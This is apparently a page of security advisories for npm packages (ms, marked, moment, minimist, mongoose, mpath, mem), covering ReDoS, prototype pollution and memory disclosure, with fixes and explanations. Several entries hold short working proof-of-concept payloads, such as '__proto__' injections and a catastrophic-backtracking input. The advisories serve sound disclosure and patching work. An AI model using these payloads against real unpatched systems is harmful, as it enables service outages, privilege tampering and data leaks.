+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade path-parse
to version 1.0.7 or higher.
References
+-
+
- GitHub Issue 1 +
- GitHub PR +
+ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+ms is a tiny milisecond conversion utility.
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS)
+ attack when converting a time period string (i.e. "2 days"
, "1h"
) into a milliseconds integer. A malicious user could pass extremely long strings to ms()
, causing the server to take a long time to process, subsequently blocking the event loop for that extended period.
Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade ms
to version 0.7.1 or higher.
References
+-
+
- + +
- + +
- + +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+mpath is a package that gets/sets javascript object values using MongoDB-like path notation.
+Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2018-16490. In particular, the condition ignoreProperties.indexOf(parts[i]) !== -1
returns -1
if parts[i]
is ['__proto__']
. This is because the method that has been called if the input is an array is Array.prototype.indexOf()
and not String.prototype.indexOf()
. They behave differently depending on the type of the input.
PoC
+const mpath = require('mpath');
+ // mpath.set(['__proto__', 'polluted'], 'yes', {});
+ // console.log(polluted); // ReferenceError: polluted is not defined
+
+ mpath.set([['__proto__'], 'polluted'], 'yes', {});
+ console.log(polluted); // yes
+
+ Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade mpath
to version 0.8.4 or higher.
References
+-
+
- GitHub Commit +
- Snyk Blog +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
+Affected versions of this package are vulnerable to Prototype Pollution. The mongoose.Schema()
function is subject to prototype pollution due to the recursively calling of Schema.prototype.add()
function to add new items into the schema object. This vulnerability allows modification of the Object prototype.
PoC
+mongoose = require('mongoose');
+ mongoose.version; //'5.12.0'
+ var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
+ console.log('Before:', {}.polluted); // undefined
+ mongoose.Schema(JSON.parse(malicious_payload));
+ console.log('After:', {}.polluted); // HACKED
+
+ Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade mongoose
to version 5.12.2 or higher.
References
+-
+
- GitHub Commit +
- GitHub Issue +
+ + + +
Information Exposure
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
+Affected versions of this package are vulnerable to Information Exposure. Any query object with a _bsontype
attribute is ignored, allowing attackers to bypass access control.
Remediation
+Upgrade mongoose
to version 4.13.21, 5.7.5 or higher.
References
+-
+
- GitHub Commit +
- GitHub Issue +
+ + + +
Remote Memory Exposure
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+A potential memory disclosure vulnerability exists in mongoose.
+ A Buffer
field in a MongoDB document can be used to expose sensitive
+ information such as code, runtime memory and user data into MongoDB.
Details
+Initializing a Buffer
field in a document with integer N
creates a Buffer
+ of length N
with non zero-ed out memory.
+ Example:
var x = new Buffer(100); // uninitialized Buffer of length 100
+ // vs
+ var x = new Buffer('100'); // initialized Buffer with value of '100'
+
+ Initializing a MongoDB document field in such manner will dump uninitialized
+ memory into MongoDB.
+ The patch wraps Buffer
field initialization in mongoose by converting a
+ number
value N
to array [N]
, initializing the Buffer
with N
in its
+ binary form.
Proof of concept
+var mongoose = require('mongoose');
+ mongoose.connect('mongodb://localhost/bufftest');
+
+ // data: Buffer is not uncommon, taken straight from the docs: http://mongoosejs.com/docs/schematypes.html
+ mongoose.model('Item', new mongoose.Schema({id: String, data: Buffer}));
+
+ var Item = mongoose.model('Item');
+
+ var sample = new Item();
+ sample.id = 'item1';
+
+ // This will create an uninitialized buffer of size 100
+ sample.data = 100;
+ sample.save(function () {
+ Item.findOne(function (err, result) {
+ // Print out the data (exposed memory)
+ console.log(result.data.toString('ascii'))
+ mongoose.connection.db.dropDatabase(); // Clean up everything
+ process.exit();
+ });
+ });
+
+ Remediation
+Upgrade mongoose
to version >= 3.8.39 or >= 4.3.6.
If a direct dependency update is not possible, use snyk wizard
to patch this vulnerability.
References
+ + ++ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+moment
is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.
Affected versions of the package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks for any locale that has separate format and standalone options and format
input can be controlled by the user.
An attacker can provide a specially crafted input to the format
function, which nearly matches the pattern being matched. This will cause the regular expression matching to take a long time, all the while occupying the event loop and preventing it from processing other requests and making the server unavailable (a Denial of Service attack).
Disclosure Timeline
+-
+
- October 19th, 2016 - Reported the issue to package owner. +
- October 19th, 2016 - Issue acknowledged by package owner. +
- October 24th, 2016 - Issue fixed and version
2.15.2
released.
+
Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+References
+-
+
- Proof of concept +
- Fix commit +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+minimist is a parse argument options module.
+Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype
using a constructor
or __proto__
payload.
PoC by Snyk
+require('minimist')('--__proto__.injected0 value0'.split(' '));
+ console.log(({}).injected0 === 'value0'); // true
+
+ require('minimist')('--constructor.prototype.injected1 value1'.split(' '));
+ console.log(({}).injected1 === 'value1'); // true
+
+ Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade minimist
to version 0.2.1, 1.2.3 or higher.
References
+ + ++ + + +
Denial of Service (DoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+mem is an optimization used to speed up consecutive function calls by caching the result of calls with identical input.
+Affected versions of this package are vulnerable to Denial of Service (DoS). + Old results were deleted from the cache and could cause a memory leak.
+details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
+Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
+One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
+When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
+Two common types of DoS vulnerabilities:
+-
+
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
+
+ Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
+ws
package
+
Remediation
+Upgrade mem to version 4.0.0 or higher.
+References
+-
+
- + +
- + +
+ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The inline.text regex
may take quadratic time to scan for potential email addresses starting at every point.
Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade marked
to version 0.6.2 or higher.
References
+ + ++ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when passing unsanitized user input to inline.reflinkSearch
, if it is not being parsed by a time-limited worker thread.
PoC
+import * as marked from 'marked';
+
+ console.log(marked.parse(`[x]: x
+
+ \\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](`));
+
+ Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade marked
to version 4.0.10 or higher.
References
+-
+
- GitHub Commit +
+ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
